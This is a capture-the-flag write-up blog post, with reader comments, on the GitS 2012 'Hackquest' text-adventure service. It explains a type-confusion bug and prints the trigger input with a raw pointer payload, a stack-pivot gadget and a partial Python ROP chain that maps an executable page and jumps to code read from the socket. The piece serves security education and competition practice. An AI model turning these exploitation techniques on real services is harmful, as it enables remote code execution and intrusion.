GitS 2012 Teaser Hackquest

Find the key. (File running at hackquest.ghostintheshellcode.com:7331)

Category: exploitation
Hint: source

This challenge is on binary exploitation and the service is a text quest:

$ nc hackquest.ghostintheshellcode.com 7331
The 1337 Adventures of an Unknown Hacker
What is your name? hellman
Welcome, hellman, to your adventure.
You are in your bedroom.  The room is spinning and you are very tired.
> look
There is a can of Red Bull here.
> get can
You are in your bedroom.  The room is spinning and you are very tired.
You have a can of Red Bull.
> use can
You feel refreshed.
You are in your bedroom.  There is a computer on your desk.  To the south is
the door leading to the rest of the apartment.

There are places, items, actions here. You can get an item from the environment and use it. Some items are used on targets. The bug is hard to see:

{{"a", "letter addressed to %s",
"I don't know how else to reach you.  You haven't been online in a long time.\n"
"-ihackatlife\n\n", NULL, ITEM_NAMED_UNWRAP,
{.namedUnwrap = {name, &passwordItem}}}, {NULL, NULL, NULL, NULL, 0, {NULL}}}
if (target)
	if ((item->type == ITEM_PERFORM_ACTION) || (item->type == ITEM_MOVE_TO_LOCATION) ||
		(item->type == ITEM_UNWRAP))
		sendMsg(s, "That item can't have a target.\n");
		ok = false;
	else if (!strcasecmp(item->info.action.requiredTarget, target))
		sendMsg(s, item->message);
		showDesc = item->info.action.actionInfo->showDesc;
		sendMsg(s, "Your target is invalid for that item.\n");
		ok = false;

ITEM_NAMED_UNWRAP is not listed here, so letter can be used on some target. When you use an item on something, item->info.action.actionInfo->func(sock) is called. But letter’s item->info.action.actionInfo points to player’s name! So, we can call any address if we find appropriate item->info.action.requiredTarget for letter.

This string is actually not a string, but a &passwordItem: pointer to passwordItem structure:

.data:0804C188 thing_password  dd offset aA            ; "a"
.data:0804C18C                 dd offset aPasswordToYour ; "password to your friend's website"
.data:0804C190                 dd offset aThePasswordWas ; "The password was accepted.\n\n"
.data:0804C194                 dd offset place_bedroom
.data:0804C198                 db 2
.data:0804C199                 db    0

This string in hex is 2ea20408bca20408dea204080cc2040802.

The trigger sequence is simple:

AAAA <-name
get can
use can
go south
get letter
use letter on \x2e\xa2\x04\x08\xbc\xa2\x04\x08\xde\xa2\x04\x08\x0c\xc2\x04\x08\x02

This payload makes a jump to 0x41414141. But where to jump?
Luckily, there’s a nice gadget:

0x8049019L: add esp 0x9c ;;

After jumping to it, esp points nearly to the middle of the command buffer. We should fill the buffer with our ROP payload and use this gadget to execute it.

The ROP code here is straightforward:
mmap an rwx page, read data, and jump there.

# mmap(0x13370000, 4096, 7, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0) 
rop = pack("<I", 0x080486D4) # mmap func
rop += pack("<I", 0x08048db5)# 0x8048db5L: add esp 0x1c ;;
rop += pack("<I", 0x13370000)
rop += pack("<I", 4096)
rop += pack("<I", 7)         # rwx
rop += pack("<I", 49)        # MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS
rop += pack("<I", 0xffffffff)
rop += pack("<I", 0)
rop += "AAAA"
# read(4, 0x13370000, 4096) & jmp 0x13370000
rop += pack("<I", read)
rop += pack("<I", 0x13370000)
rop += pack("<I", 4)
rop += pack("<I", 0x13370000)
rop += pack("<I", 4096)


Full exploit.
Nice writeup by Eindbazen.


  1. @kyprizel says:

    Wow, nice writeup!

  2. DE EINDBAZEN » GitS teaser 2011 – hackquest says:

    […] writeup by LeetMore has more details on the bug (and a pretty much identical exploit, though ours is flashier :P). […]

  3. @marqo09 says:


  4. leemyeongbak says:

    How did you know item->info.action.actionInfo points the username?

  5. hellman says:
    typedef struct ItemInfo
    	char* article;
    	char* name;
    	char* message;
    	LocationInfo* requiredLocation;
    	ItemType type; //<<<<<<<<<<<<<<<<<<<<< type
    		void* data;
    		LocationInfo* newLocation;
    		struct ItemInfo* newItem;
    			ActionInfo* actionInfo;  // <<<<<<<< first because it's union

    as you can see, actioninfo pointer is right after the type

    ... ITEM_NAMED_UNWRAP, {.namedUnwrap = {name, &passwordItem}}}

    here the first field after type=ITEM_NAMED_UNWRAP is name.

    You can also find it out in GDB, breaking before each item usage.

    Actually it was really hard bug to found!

Leave a Reply

Your email address will not be published.

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>